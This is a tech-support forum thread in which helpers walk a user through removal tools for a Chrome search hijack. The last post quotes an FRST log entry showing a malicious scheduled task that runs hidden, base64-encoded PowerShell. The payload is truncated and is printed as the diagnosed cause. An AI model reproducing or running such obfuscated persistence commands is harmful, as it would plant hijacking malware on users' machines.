Chrome browser and search engine

[O_Connor]

Hello!

Over the weekend I let my friend use my computer, and now I am back Chrome is acting up.

Basically I start Chrome, and when I search it uses Google as it should. Suddenly the browser closes, and reopens and then anytime I use it, it uses Bing search engine with a weird URL. I have attached a screenshot.

I tried Spybot search and destroy pro, it found and removed a Torjan. It then worked fine for about an hour, and now its happening again. I have reinstalled Chrome too, with no luck.

[veeg]

Hello

Have you done any other anti virus and or malware scans since the last scan?

@Malnutrition

[Malnutrition]

We can check for malware/virus…

Please download the FRST 32 bit or FRST 64bit version to suit your operating system. It is important FRST is downloaded to your desktop.

If you are unsure if your operating system is 32 or 64 Bit please go HERE.
Once downloaded right click the FRST desktop icon and select “Run as administrator” from the menu"
[IMG alt=“icon2.jpg”]https://pchelpforum.net/attachments/icon2-jpg.794/
If you receive any security warnings, or the User Account Control warning opens at any time whilst using FRST you can safely allow FRST to proceed.
FRST will open with two dialogue boxes, accept the disclaimer.
[IMG alt=“frst disclaimer.jpg”]https://pchelpforum.net/attachments/...aimer-jpg.795/

[ol]
[li]Accept the default whitelist options,[/li][li]If the additions.txt options box is not checked please select it.[/li][li]Then select Scan[/li][/ol]
[IMG alt=“frst.jpg”]https://pchelpforum.net/attachments/frst-jpg.796/
Frst will take a few minutes to scan your computer, and when finished will produce two log files on your desktop, FRST.txt, and Addition.txt. They will display immediately on the desktop, but can be reopened later as a notepad file.
[IMG alt=“2016-08-12_152002.jpg”]https://pchelpforum.net/attachments/...52002-jpg.797/

Please Attach the contents of these logs in your next post for review by our Security Team[/IMG]

[O_Connor]

Thanks, I have attached the files! I also took a video of it happening;

You can see a dodgy URL for a second when it changes. I did another scan and it says nothing, but it is still happening.

Thanks so much for your help!

[Malnutrition]

ZHP cleaner Scan.

Please download Zhp Cleaner to your desktop. Right Click the icon and select run as administrator.
Once you have started the program, you will need to click the scanner button.
The program will close all open browsers!
Once the scan is completed, the you will want to click the Repair button.
At the end of the process you may be asked to reboot your machine.
After you reboot a report will open on your desktop.
Attach the report here in your next reply.

[O_Connor]

Attached Thanks again!

[Malnutrition]

Issue still present?

Adware Cleaner
[ul]
[li]Download AdwCleaner and save it to your Desktop[/li][li]Right-click on AdwCleaner.exeand select[/li][li][IMG alt=“Spcusrh.png”]https://i.imgur.com/Spcusrh.png[/li] Run as Administrator
[li]Accept the EULA (I accept), then click on Scan Now[/li][li]Let the scan complete[/li][li]Once the scan completes, make sure that every item listed in the different tabs is checked and click on the Clean & Repair button[/li][li]Subsequently you may be asked to Run Basic Repair. This is optional. I would suggest holding off on this for now.[/li][li]Once the cleaning process is complete, AdwCleaner will ask you to restart your computer[/li][li]Close all other open windows and allow it to restart[/li][li]After the restart, Notepad will open with the AdwCleaner cleaning log[/li][li]Please Attach the contents of that log into your next reply to me[/li][/ul][/IMG]

[O_Connor]

Hey! It did, for a while and now its back with a revenge, so now attempting the one above. Thanks for all your help - I fear a complete reboot may be in order

[O_Connor]

It said quarantine instead of clean and repair? I did that as couldn’t see the other option.

[Malnutrition]

Looking over FRST logs now.

Adware Removal Tool Scan.

Download Adware removal tool to your desktop, right click the icon and select Run as Administrator.
Click Scan
Hit Ok.
Hit next make sure to leave all items checked, for removal.
Click Next
The Program will close all open programs to complete the removal, so save any work and hit OK.
Then hit OK after the removal process is complete, thenOK again to finish up.
Post log generated by tool.

[Malnutrition]

While we work on the machine, uninstall the following.

Spybot
µTorrent

[Malnutrition]

FRST Fix.
Download attached fixlist.txt file and save it to the Desktop. NOTE. It’s important that both files, FRST/FRST64 and fixlist.txt are in the same location or the fix will not work. NOTICE: This script was written specifically for this user, for use on that particular machine. Running this on another machine may cause damage to your operating system Run FRST/FRST64 and press the Fix button just once and wait. If for some reason the tool needs a restart, please make sure you let the system restart normally. After that let the tool complete its run. When finished FRST will generate a log on the Desktop (Fixlog.txt). Please post it to your reply.

[Malnutrition]

@O’Connor any more issues?

[Malnutrition]

@O’Connor

How are you moving along with the instructions? Have you got an update for us?
Please update this thread within 48 hours, or it will be closed. You can however have it re-opened at any time, by sending a private message to a staff member.

[Malnutrition]

@O’Connor Solution was posted in the fixlist I created for you, but you chose to abandon the thread…

This task was the reason for your issue, so if you had followed my instructions the issue would have been resolved. Technically this is solved, so I am marking as such.

Task: {259410FC-F5AF-4570-8764-4099AF4BE75B} - System32\Tasks\chrome support => cmd /c powershell -WindowStyle Hidden -E "JAB2ACAAPQAgACIAMAAiADsACgAkAGwAdgAgAD0AIAAiADMAI gA7AAoAJABkACAAPQAgACIAdABvAG8AYgBsAHkAYwBhAHIAcwA uAGMAbwBtACIAOwAKACQAZQBwACAAPQAgACIAVwB5AEkAeQBNA EQASQB6AE8AVABVADMATQBUAE0AeABOAFQAUQB4AE4AegBZAHo ATgBEAE0AaQBMAEQARQAyAE4ARABZADAATQBEAGcANQBOAHoAU gBkACIAOwAKAA (the data entry has 4547 more characters). <==== ATTENTION